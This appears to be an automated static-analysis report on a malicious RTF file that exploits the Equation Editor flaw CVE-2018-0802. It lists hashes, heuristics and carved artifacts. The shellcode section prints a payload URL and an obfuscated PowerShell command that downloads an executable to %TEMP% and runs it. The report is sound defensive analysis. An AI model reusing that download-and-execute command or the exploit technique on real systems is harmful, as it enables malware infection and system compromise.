Malicious RTF — malware analysis report

Static analysis result for SHA-256 2a25d8ad8d6327e5…

MALICIOUS

RTF

10.9 KB First seen: 2019-12-10
MD5: e6b8dedc042b33049c59283fc55be261 SHA-1: f5433ff7024b6d99e658ed4c9240550f71595e85 SHA-256: 2a25d8ad8d6327e5b5ce8c221bd9f374d72199a80a43fd9b4e93f99ff88ee4a0
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The RTF file contains multiple indicators of exploitation, including OLE object data and references to Equation Editor. The heuristic firings and ClamAV detection strongly suggest exploitation of CVE-2018-0802. The embedded URLs likely point to a second-stage payload, such as a Windows executable, which would be downloaded and executed after the user is lured into enabling editing.

Heuristics 8

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://134.119.177.136/1.exe In RTF body
    • http://134.119.177In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000000ad.bin rtf-objdata-decoded RTF \objdata at offset 0xAD 480 bytes
SHA-256: d35edd6caae7875e3c54de52336e9959555a7e5e9ba1231818d7ed99d37f6f0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://134.119.177.136/1.exe Static shellcode analysis recovered command string(s): PoWerShELL ""function abc([String] $vvd){(New-Object System.Net.WebClient).downLoadFile($vvd,'%TEMP%\tte.exe');staRt-pRoCeSS '%TEMP%\tte.exe';}try{abc('http://134.119.177
objdata_01_off00000531.bin rtf-objdata-decoded RTF \objdata at offset 0x531 4681 bytes
SHA-256: 316630d45e21a222a2b8cf56c00fb120dcc76a016e6bb254df424bf195ae4066

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